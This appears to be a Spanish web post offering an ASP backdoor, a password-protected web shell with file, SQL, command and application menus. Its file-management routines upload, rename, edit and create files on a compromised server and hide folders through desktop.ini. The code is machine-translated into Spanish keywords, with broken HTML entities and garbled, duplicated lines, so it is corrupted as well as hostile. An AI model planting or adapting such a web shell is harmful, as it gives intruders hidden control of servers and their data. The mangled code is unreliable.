Buscamos un cargador ASP inteligente y sin componentes

El dueño intentó abrir la puerta trasera. Es muy sencillo. Te daré el último y mejor programa que admite contraseñas.

lt;script language=JScript runat=servergt;

Response.Write ("Bienvenido");

lt;/scriptgt;

lt;

mypass=" 963816"

si request("userpass")=mypass entonces

session("admin")=mypass p>

finalizar si

si request("logout")="cerrar sesión" entonces

session("admin")=""

finalizar si

si sesión("admin")="" entonces

respuesta.write"lt; ancho de tabla=500 borde=0 align=center cellpadding=0 cellpacing= 1 clase =boxgt;"

respuesta.write"lt; formulario método=POST action=''gt;"

respuesta.write"lt;tr altura= 18gt;"

respuesta.write"lt; td height=25 align=center bgcolor=#003366 style=color: #ffffffgt; contraseña: ?"

response.write"lt; tipo de entrada= 'contraseña' nombre='contraseña de usuario' tamaño='20'gt;"

respuesta.write"lt; entrada nombre='enviar' tipo='enviar' valor='login'gt;"

respuesta.write"lt;/tdgt;lt;/trgt;lt;/formgt;lt;/tablegt;"

Respuesta.

End()

end if

gt;

lt; OBJECT RUNAT=ID del servidor=fs

classid='clsid:0D43FE01 -F093-11CF-8940-00A0C9054228'gt;lt;/OBJECTgt;

lt;gl=rq("gl"): si gllt;gt;"" entonces Sesión("gl")=gl

Respuesta.Borrar: echo " "

echo "lt;a href="amp;selfamp;"?gl=filegt; filelt;/agt; "

echo "lt;a href="amp;selfamp;"?gl=sqlgt;sqllt;/agt;"

echo "lt;a href="amp;selfamp;"?gl=cmdgt ;cmd lt;/agt;"

echo "lt;a href="amp;selfamp;"?gl=listappgt;listapplt;/agt;"

pwd1="archivo ": pwd2="sql": pwd3="cmd": pwd4="listapp": if Session("gl")="file" entonces

if left(aduser, 4)="fso: " entonces

fso=mid(aduser, 5)

else

fso="scripting.filesystemobject"

finalizar si

echo fso

AdodbS="Adodb.Stream"

en error reanudar siguiente

bbf=chr(13)amp;chr(10 ): y= chr(34): self=Solicitud("URL")

función echo(lpstr): respuesta.write lpstr: función final

función rq(lpstr): rq=request(lpstr)::función final

función rq(lpstr función final

función close(): echo "lt;scriptgt;opener.document.location.reload ();opener=null;self.close();lt;/scriptgt;"::response.response.end:finalizar función

echo "lt;scriptgt;"amp;bbf

echo "window.onerror=x_err; function x_err(sMsg, sUrl, sLine){return true}"amp; bbf

echo ""amp; "var url="""amp; (self, "\", "\")amp;"";"amp;""amp;bbf

echo "función sattw(srcf){w= ow(350);w.location= URL "?ubicación=URL ""?fdo=

gattramp;fp1="" srcf;}"amp;bbf

echo "función ren(f1, f2){ubicación=url ""?fdo=renamp;fp1="" fp1 f1 ""amp; fp2="" fp1 document.all[f2].value;}"amp;bbf

echo "función downall(){ow(600).document.write(down);}"amp;bbf

echo "función reemplazar(aa,bb,cc){var lpabc,lpi;for(lpi=0;lpilt;1000;lpi){lpabc=aa;aa=aa.replace(bb,cc) ); if(lpabc==aa)return aa;} return aa;}"amp;bbf

echo "función ow(w){return window.open("""","""" ," "barras de desplazamiento=no, barra de herramientas=no, ubicación=no, directorios=no, estado=no, barra de menú=no, resizable=no, altura=300, ancho="" w);}"amp;bbf

echo "lt;/scriptgt;"amp;bbf

echo "lt; STYLEGt.body, td, span, div, a{FONT-SIZE: 9pt; text-decoration: none} "amp; bbf

echo "span, a{cursor: hand; color: blue;}hr{height: 1px; line-height: 1px; color: #0000ff;}"amp; bbf p>

echo "lt;/stylegt;lt;body Leftmargin=6 Topmargin=2gt;"amp;bbf

si no es isobject(fs), entonces configure fs= server.Then

establecer dr1=servidor.CreateObject(AdodbS): dr1.Mode=3: dr1.Type=1: dr1.Open

establecer dr2=servidor.CreateObject(AdodbS): dr2.Modo =3 ：dr2.Type=1：dr2.Open

lnBytes=Request.BinaryRead(Request.BinaryRead)BinaryRead(Request.

SignLen= Instrb(1, lnBytes, CStrB( bbf) )-1

Sign=MidB(lnBytes, 1, SignLen)

fname=tractName(getfilename()) 'Obtener el nombre del archivo

fp1 =getvalue( " fp1") 'Obtener el valor de la ruta

Si fnamelt;gt;"" y fp1lt;gt;"" entonces

savefile(fp1amp;fname)

else

echo "¡Nombre de archivo o ruta incorrectos! "fin

finalizar si

si fdo="ocultar" entonces

fp1=pn(fp1)：fp2=fp1amp;"\desktop.ini"

si no es fs.fileExists(fp2) entonces

fs.getfolder(fp1).attributes=22

lr ="[.ShellClassInfo]" bbf "CLSID={ 645FF040-5081-101B-9F08-00AA002F954E}"

fs.createetextfile(fp2).Write lr

fs.getfile(fp2) .DeleteFile fp2, True

echo "lt；scriptgt;alert('¡Este directorio no está oculto!') ;"

end if

echo "history.go(-1);lt;/scriptgt ;": respuesta.end

finalizar si

si fdo="adddir" entonces

fp1=pn(fp1)：fs.createfolder(fp1)

respuesta.redirect selfamp;"?fp1="amp; fp1amp;"/"

finalizar si

si fdo="nuevoarchivo" entonces

fp1=pn(fp1).si no es fs.fileExists(fp1) entonces fs.createetextfile(fp1)

respuesta.redirect selfamp;"?CreateTextFile(fp1).Escribir reemplazar(Solicitud(" fp2"),"lt;_/"amp;"textareagt;","lt;/tex"amp;"tareagt;")

echo "lt;scriptgt;opener=null;self.close ();lt;/scriptgt;": respuesta.end

finaliza si

si fdo="gedit" entonces

att=fs.getfile(fp1 ).attributes

echo "lt;form METHOD=POST action="""amp;selfamp;"""gt;lt;/scriptgt;": respuesta.end